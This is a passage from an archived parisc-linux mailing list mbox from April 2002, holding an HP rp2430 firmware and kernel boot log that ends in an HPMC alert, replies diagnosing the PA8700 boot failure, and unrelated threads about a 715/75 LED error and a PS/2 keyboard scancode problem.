processor                 test                       1138
processor                 test                       1152
processor                 test                       1139
processor                 test                       113A
processor                 test                       113B
processor                 test                       113C
processor                 test                       113D
processor                 test                       113E
processor                 INIT                       1701
processor                 test                       1120
processor                 test                       1142
processor                 test                       113B
platform                  test                       612A
I/O                       config                     8238

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************

Firmware Version  42.00

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2001, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst
Data
  ---------  --------   ---------------------  -----------------
------------
      0      650  MHz   Active                 Functional         750 KB 1.5
MB

  Central Bus Speed (in MHz)  :        120  
  Available Memory            :     131072  KB
  Good Memory Required        :      25820  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/1.643         
   Keyboard path:        0/0/4/1.0           


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


---- Main Menu
---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > IN

---- Information Menu
--------------------------------------------------------

     Command                           Description
     -------                           -----------
     ALL                               Display all system information
     BootINfo                          Display boot-related information
     CAche                             Display cache information
     ChipRevisions                     Display revisions of major VLSI
     COprocessor                       Display coprocessor information
     FRU                               Display FRU information
     FwrVersion                        Display firmware version
     IO                                Display I/O interface information
     LanAddress                        Display Core LAN station address
     MEmory                            Display memory information
     PRocessor                         Display processor information
     WArnings                          Display selftest warning messages

     BOot [PRI|ALT|<path>]             Boot from specified path
     DIsplay                           Redisplay the current menu
     HElp [<command>]                  Display help for specified command
     RESET                             Restart the system
     MAin                              Return to Main Menu
----
Information Menu: Enter command > ALL

   Model: hp server rp2430 (model string 9000/800/A400-6X)

PROCESSOR INFORMATION

                       HVERSION  SVERSION              Processor
  Processor   Speed     Model    Model/Op  CVERSION      State
  ---------  --------  --------  --------  --------  -------------
      0      650  MHz   0x05e1    0x0491     2.  3   Active               

  Central Bus Speed (in MHz)  :        120  
  Software ID (dec)           :  859917860  
  Software ID (hex)           : 0x33414e24
  Software Capability         : 0x01f0


COPROCESSOR INFORMATION

                    Coprocessor   Coprocessor        Coprocessor
       Processor       Model        Revision            State
      -----------   -----------   -----------     -----------------
           0        0x00000013             1        Functional   

CACHE INFORMATION

       Processor    Instruction Cache Size    Data Cache Size
      -----------   -----------------------   ---------------
           0                750 KB                  1.5 MB

MEMORY INFORMATION


  MEMORY STATUS TABLE (MB) (Current Boot Status) 

Slot 01  128M  Active     
Slot 02   -               
Slot 03   -               
Slot 04   -               

Slot 05   -               
Slot 06   -               
Slot 07   -               
Slot 08   -               

Subtotal 128M             

   TOTAL =   128 MB
           ---------


                     Memory Installation Guidelines
                     ------------------------------

- DIMMs must be loaded in ascending slot order: 1, 2, 3, 4, 5, 6, 7, 8 

   Active, Installed Memory          :        128  MB of SDRAM
   Deallocated Pages                 :          0  Pages
                                       -----------
   Available Memory                  :        128  MB

   Good Memory Required by OS        :         26  MB

         Memory
   HVERSION  SVERSION
   -------- ----------
    0x09b0  0x00000900  

I/O MODULE INFORMATION

                        Path   Slot                          IODC  
Type                    (dec)  Number    HVERSION  SVERSION  Vers  
----                    -----  ------    --------  --------  ----  
System bus adapter      0                0x5820    0xb10     0x0   
Local bus adapter       0/0    4         0x7820    0xa00     0x0     
Local bus adapter       0/2    1         0x7820    0xa00     0x0     
Local bus adapter       0/4    2         0x7820    0xa00     0x0     
Local bus adapter       0/6    3         0x7820    0xa00     0x0     

PCI DEVICE INFORMATION
                                Path              Vendor  Device  Bus  Slot
Description                     (dec)               Id      Id     #    #
-----------                     -----              ----    ----   ---  ---
Ethernet cntlr                  0/0/0/0           0x1011  0x19    0
Built_In
SCSI bus cntlr                  0/0/1/0           0x1000  0xb     0
Built_In
SCSI bus cntlr                  0/0/1/1           0x1000  0xb     0
Built_In
SCSI bus cntlr                  0/0/2/0           0x1000  0xf     0
Built_In
SCSI bus cntlr                  0/0/2/1           0x1000  0xf     0
Built_In
System peripheral               0/0/4/0           0x103c  0x128d  0
Built_In
Comp. ser cntlr                 0/0/4/1           0x103c  0x1048  0
Built_In
System peripheral               0/0/4/2           0x0     0x0     0
Built_In

BOOT INFORMATION

   Processor           Boot ID
   ---------           -------
       0                  1  

   Autoboot:             ON
   Autosearch:           ON
   Autostart:            ON
   Fastboot:             OFF

   Primary boot path:    intscsia.15         
                         0/0/1/1.15          
                         0/0/01/01.f    (hex)
   Alternate boot path:  intscsib.15         
                         0/0/2/1.15          
                         0/0/02/01.f    (hex)
   Console path:         0/0/4/1.643         
                         0/0/04/01.283  (hex)
   Keyboard path:        0/0/4/1.0           
                         0/0/04/01.0    (hex)

   LAN Station Address:  00306e-2601de

   Wed Apr  10 04:29:21 GMT 2002    (20:02:04:10:04:29:21)

FIRMWARE INFORMATION

   Firmware Version:          42.09

        Module              Revision
        ------              --------
        System Board        A24210
        PA 8700 CPU Module  2.3

FRU INFORMATION

FRU Name:            HAR_SYS_BD 
Part Number:           A6889-60001 
Serial Number:           40CC0GR0HG 
Physical Location:     00ffff0001ffff69
Engineering Date Code: 4210 
Art Work Revision:     A2 
Scan Revision:           
FRU Specific Info:                      

FRU Name:            CRE_PCI_BD 
Part Number:           A5570-60003 
Serial Number:           40CC0ETRAT 
Physical Location:     00ffff0002ffff69
Engineering Date Code: 4026 
Art Work Revision:     A3 
Scan Revision:           
FRU Specific Info:                      

FRU Name:            HAR_GSP_BD 
Part Number:           A6889-60002 
Serial Number:           40CC0GS0TC 
Physical Location:     000000ffff06ff85
Engineering Date Code: 4204 
Art Work Revision:     A2 
Scan Revision:           
FRU Specific Info:                      

FRU Name:              DIMM_128 
Part Number:           A5572-60001 
Serial Number:         A56E03388166 
Physical Location:     0000ff000001ff74
Engineering Date Code: 4123 
Art Work Revision:     A4 
Scan Revision:           
FRU Specific Info:                      

Information Menu: Enter command > MA

---- Main Menu
---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > SEA

Searching for potential boot device(s)
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).


   Path#  Device Path (dec)  Device Path (mnem)  Device Type
   -----  -----------------  ------------------  -----------
   P0     0/0/1/1.15         intscsia.15         Random access media       
   P1     0/0/2/0.6          extscsib.6          Random access media       


Main Menu: Enter command or menu > BO P1
Interact with IPL (Y, N, or Cancel)?> Y

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 0.96 root@palinux Fri Nov  2 16:31:18 MST 2001

Boot image contains:
    0/vmlinux32 3122078 bytes @ 0x4cf000
    0/vmlinux64 3990942 bytes @ 0x7c9800
    0/ramdisk 1946807 bytes @ 0xb98000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently  used by firmware (serial).
Current command line:
0/vmlinux root=/dev/ram initrd=0/ramdisk console=ttyS0 TERM=vt102
 0: 0/vmlinux
 1: root=/dev/ram
 2: initrd=0/ramdisk
 3: console=ttyS0
 4: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'root=/dev/ram console=ttyS0 TERM=vt102'
Selected kernel: /vmlinux from partition 0
Selected ramdisk: /ramdisk from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing
64-bit kernel
ELF64 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 2063232 mediaptr 0x1000
Segment 1 load 002f8000 size 1099104 mediaptr 0x1f9000
Segment 2 load 00408000 size 16384 mediaptr 0x306000
Segment 3 load 00410000 size 32768 mediaptr 0x30a000
Loading ramdisk 1946807 bytes @ 07e14000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.9-64 (root@paer) (gcc version 3.0) #1 Fri Nov 30 20:18:56
MST 2001
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model   00005e10 00000491 00000000 00000001 33414e24 100000f0 00000008
000000b2 000000b2
vers    00000203
cpuid   00000268
CPUID   vers 19 rev 8
model   9000/800/A400-6X
Total Memory: 128 Mb
initrd: 17e14000-17fef4b7
initrd: reserving 07e14000-07fef4b7 (mem_max 08000000)
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/ram console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Calibrating delay loop... 1297.61 BogoMIPS
Memory: 121328k available
Dentry-cache hash table entries: 16384 (order: 6, 262144 bytes)
Inode-cache hash table entries: 8192 (order: 5, 131072 bytes)
Mount-cache hash table entries: 2048 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 4096 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 6, 262144 bytes)
Searching for devices...
Found devices:
1. unknown device (0) at 0xfffffffffffa0000 [-96], versions 0x5e1, 0x0, 0x4
2. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582, 0x0,
0xb
3. Elroy PCI Bridge (13) at 0xfffffffffed30000 [0/0], versions 0x782, 0x0,
0xa
4. Elroy PCI Bridge (13) at 0xfffffffffed34000 [0/2], versions 0x782, 0x0,
0xa
5. Elroy PCI Bridge (13) at 0xfffffffffed38000 [0/4], versions 0x782, 0x0,
0xa
6. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [0/6], versions 0x782, 0x0,
0xa
7. Crescendo Memory (1) at 0xfffffffffed08000 [8], versions 0x9b, 0x0, 0x9
CPU(s): 1 x PA8600 (PCX-W+) at 650.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba range[2] : ignoring GMMIO (0xfffffff804000000)
  got res[100:1ff] for resource 0 of Symbios Logic Inc. (formerly NCR)
53c896
  got res[200:2ff] for resource 0 of Symbios Logic Inc. (formerly NCR)
53c896 (#2)
  got res[300:3ff] for resource 0 of Symbios Logic Inc. (formerly NCR)
53c875
  got res[400:4ff] for resource 0 of Symbios Logic Inc. (formerly NCR)
53c875 (#2)
  got res[80:ff] for resource 0 of Digital Equipment Corporation DECchip
21142/43
  got res[40:7f] for resource 1 of PCI device 103c:1048 (Hewlett-Packard
Company)
  got res[fffffffff8080000:fffffffff80bffff] for resource 6 of Digital
Equipment Corporation DECchip 21142/43
  got res[fffffffff8002000:fffffffff8003fff] for resource 3 of Symbios Logic
Inc. (formerly NCR) 53c896
  got res[fffffffff8004000:fffffffff8005fff] for resource 3 of Symbios Logic
Inc. (formerly NCR) 53c896 (#2)
  got res[fffffffff8001000:fffffffff8001fff] for resource 2 of Symbios Logic
Inc. (formerly NCR) 53c875 (#2)
  got res[fffffffff8006000:fffffffff80063ff] for resource 1 of Digital
Equipment Corporation DECchip 21142/43
  got res[fffffffff8007000:fffffffff80073ff] for resource 1 of Symbios Logic
Inc. (formerly NCR) 53c896
  got res[fffffffff8008000:fffffffff80083ff] for resource 1 of Symbios Logic
Inc. (formerly NCR) 53c896 (#2)
  got res[fffffffff8009000:fffffffff80090ff] for resource 1 of Symbios Logic
Inc. (formerly NCR) 53c875 (#2)
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba range[2] : ignoring GMMIO (0xfffffff904000000)
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
lba range[2] : ignoring GMMIO (0xfffffffb04000000)
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Performance monitoring counters enabled for unknown device
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (4156,4168,4156,4171)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS00 at port 0x0040 (irq = 132) is a 16550A
request_module[parport_lowlevel]: Root fs not mounted
lp: driver loaded but no devices found
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre6 (July 2, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 7809 advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0x80, 00:30:6E:26:01:DE, IRQ 128.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 2, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 1, function 1
sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
sym53c8xx: 53c896 detected 
sym53c875-0: rev 0x37 on pci bus 0 device 2 function 0 irq 130
sym53c875-0: ID 7, Fast-20, Parity Checking

************* SYSTEM ALERT **************
SYSTEM NAME: uninitialized
DATE: 04/10/2002 TIME: 04:31:41
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     ON         ON
LED State: Unexpected Reboot. Running non-OS code. Non-critical error
detected.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
0x5800087000FF6292 00006603 0A041F29 - type 11 = Timestamp 04/10/2002
04:31:41
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:A
*****************************************

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

P.S. I believe that *once* (assuming I wasn't dreaming) the above firmware
'SYSTEM ALERT' message didn't appear - instead, Linux, having gotten to the
same point (sym53c875...) simply hung. I made a point of waiting quite some
time (thinking perhaps the hard drive was taking its sweet time powering up)
so I'm pretty sure it really was 'hung.'

P.P.S. When I turn my system on, the 'Power' and 'Remote' LEDs glow solid,
but the 'Run', 'Attention' and 'Fault' lights also flash, until the 'SYSTEM
ALERT' appears, at which point the 'Run' light goes dark. Any ideas?


--%--multipart-mixed-boundary-1.4418.1018414412--%--



From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] shiny new rp2430 (A400) won't boot :-(
Date: Tue, 09 Apr 2002 23:24:12 -0600
Lines: 75
Approved: news@gmane.org
Message-ID: <20020410052412.B6F9E4832@dsl2.external.hp.com>
References: <200204100453.g3A4rWV04513@parallel.hpc.unsw.edu.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621226 6154 80.91.229.3 (22 Nov 2014 01:53:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Duraid Madina <Duraid@unsw.edu.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  9 23:24:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B6F9E4832; Tue,  9 Apr 2002 23:24:12 -0600 (MDT)
In-Reply-To: Message from Duraid Madina <Duraid@unsw.edu.au> 
   of "Wed, 10 Apr 2002 14:53:32 +1000." <200204100453.g3A4rWV04513@parallel.hpc.unsw.edu.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14555

Duraid Madina wrote:
> Hi all,
> 
> 	My nice new rp2430 (looks like an A400, but has a PA-8700 at 650MHz
> inside, not sure if this is the only difference..) arrived this morning.

uhm...it *is* an A-class - see the model string ;^)

> 	Unfortunately, it doesn't boot!

Right - we have some general issue with PA8700. J6700 doesn't boot either.
While Thomas Bogendoerf was at a recent show (CeBIT?), he had access to
a J6700 to work on. Thomas concluded it was a DMA issue but I couldn't
figure out what exactly. One PA8700/Astro interaction bug workaround was
committed to CVS but I'm convinced that wasn't the issue.

> 	For the record, as soon as I power on this system, the 'Attention'
> and 'Fault' lights flash, but I have no idea if this is normal, or if not,
> why they're flashing.

It's normal because no one has written the PAT PDC code to update
chassis logs/leds. Since I'm rarely in the computer room where my
A500 lives, it's never bothered me.

> 	A transcript of the boot session is attached. I hope someone can
> help me out here!
...
>    Model: hp server rp2430 (model string 9000/800/A400-6X)


hehe...some things don't change despite marketing's efforts to
confuse people.

> 
> PROCESSOR INFORMATION
> 
>                        HVERSION  SVERSION              Processor
>   Processor   Speed     Model    Model/Op  CVERSION      State
>   ---------  --------  --------  --------  --------  -------------
>       0      650  MHz   0x05e1    0x0491     2.  3   Active               

Only 2.2 CPU had interaction problems with Astro.

....
> Linux version 2.4.9-64 (root@paer) (gcc version 3.0) #1 Fri Nov 30 20:18:56
> MST 2001
...
> Check Chassis and Console Logs for error messages.
> 
> 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
> 0x5800087000FF6292 00006603 0A041F29 - type 11 = Timestamp 04/10/2002

This is an HPMC. HW didn't like something and died.


> P.S. I believe that *once* (assuming I wasn't dreaming) the above firmware
> 'SYSTEM ALERT' message didn't appear - instead, Linux, having gotten to the
> same point (sym53c875...) simply hung. I made a point of waiting quite some
> time (thinking perhaps the hard drive was taking its sweet time powering up)
> so I'm pretty sure it really was 'hung.'

It's possible whatever "normally" cause the HPMC simpled wedged up the
system in a way that didn't cause anything to go fatal.
I suspect the same problem is still occurring.

> P.P.S. When I turn my system on, the 'Power' and 'Remote' LEDs glow solid,
> but the 'Run', 'Attention' and 'Fault' lights also flash, until the 'SYSTEM
> ALERT' appears, at which point the 'Run' light goes dark. Any ideas?

It's the state that the firmware left it in. I'm pretty sure
linux doesn't do anything with them.

grant



From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt McKenzie <linuxknight@attbi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/75
Date: 09 Apr 2002 23:22:07 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <1018419728.2603.13.camel@mustang>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621226 6157 80.91.229.3 (22 Nov 2014 01:53:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:46 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 00:22:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id 980D1484A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 00:22:12 -0600 (MDT)
Original-Received: from mustang ([24.126.132.94]) by rwcrmhc52.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020410062205.JJTS1901.rwcrmhc52.attbi.com@mustang>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 10 Apr 2002 06:22:05 +0000
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14556

I posted a while earlier, but no response has been forthcoming.

Does anyone have any idea what I can do so solve my problem with an HP
715/75, that displays the LEDs 1,2,6 on the front panel at power-up? 
I have an HP monitor with it, and it stays blank.

The manual, if I'm reading it correctly, says the LEDs mean:

Internal inconsistency: IODC Entry_Init

But there is no mention of what this means exactly, or what to do about
it.  

What can I do to resolve this, if possible?

I would very much like to put Linux on this machine.

It seems to me hardware questions aren't off-topic... does this just
mean no one knows how to fix this?  Or is it because I have no
transcript or logs to post (because the monitor is blank I can't see
anything)?

Would it be possible to get a serial console working to see anything?
I am guessing a standard RS232 Null-modem cable would work?

Also, I have the AUI-10bT ethernet transceiver, but I don't know if it
has a valid static IP, or if it is trying DHCP lookup.

Any help would be appreciated.

Thanks.


-- 
73 de K6LNX

Matt M.
LinuxKnight




From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Successful installation and keyboard problems
Date: Wed, 10 Apr 2002 11:10:32 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 31
Approved: news@gmane.org
Message-ID: <200204101110.32294.helge.deller@sap.com>
References: <871ydo6a5a.fsf@p50811B33.dip.t-dialin.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621226 6159 80.91.229.3 (22 Nov 2014 01:53:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:46 +0000 (UTC)
To: Paul Seelig <pseelig@uni-mainz.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 03:10:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0905F483A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 03:10:39 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id LAA23035;
  Wed, 10 Apr 2002 11:15:14 +0200 (MESZ)
X-Mailer: KMail [version 1.4]
In-Reply-To: <871ydo6a5a.fsf@p50811B33.dip.t-dialin.net>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook.
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14557

Hi Paul,

Please retry with a recent kernel.

Greetings,
Helge

On Tuesday 09 April 2002 19:42, Paul Seelig wrote:
> Hi all,
>
> i finally downloaded the palinux-0.9.4 ISO and successfully installed
> Debian on my 715/64.  Installation was surprisingly smooth -- albeit
> without X so far -- and the system seems to run just fine dualbooting
> with the NeXTSTEP-3.3 i installed last sunday. :-)
>
> Because of NeXTSTEP i've once gotten rid of my HIL keyboard and mouse,
> replacing both with standard PS/2 variants.  Unfortunately, at the
> console the PS/2 keyboard (with German layout) chokes on pressing the
> key containing the characters '>', '<' and '|' (on a german keyboard
> the key between Shift and Y), only telling me:
>
>      keyboard: unrecognized scancode (7f) ignored
>
> I have to admit that i didn't check any FAQ.  So please simply ignore
> my question if it can be solved with some scrutinizing RTFM. ;-)
>
> Anyway, Debian runs and i'm really happy about it! :-)
>
>                                     Thanks, P. *8^



From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Crockett <jcrockett@midco.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/75
Date: Wed, 10 Apr 2002 08:24:56 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <20020410082456.A20344@volta.midco.net>
References: <1018419728.2603.13.camel@mustang>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621227 6163 80.91.229.3 (22 Nov 2014 01:53:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:47 +0000 (UTC)
Cc: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: Matt McKenzie <linuxknight@attbi.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 07:24:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from volta.midco.net (volta.midco.net [24.220.1.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 23B7C483D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 07:24:58 -0600 (MDT)
Original-Received: (qmail 27439 invoked by uid 2872); 10 Apr 2002 13:24:56 -0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1018419728.2603.13.camel@mustang>; from linuxknight@attbi.com on Tue, Apr 09, 2002 at 11:22:07PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14558

Hello,
  I have a 715/100 that had very similiar symptoms.  I have HP-UX on it
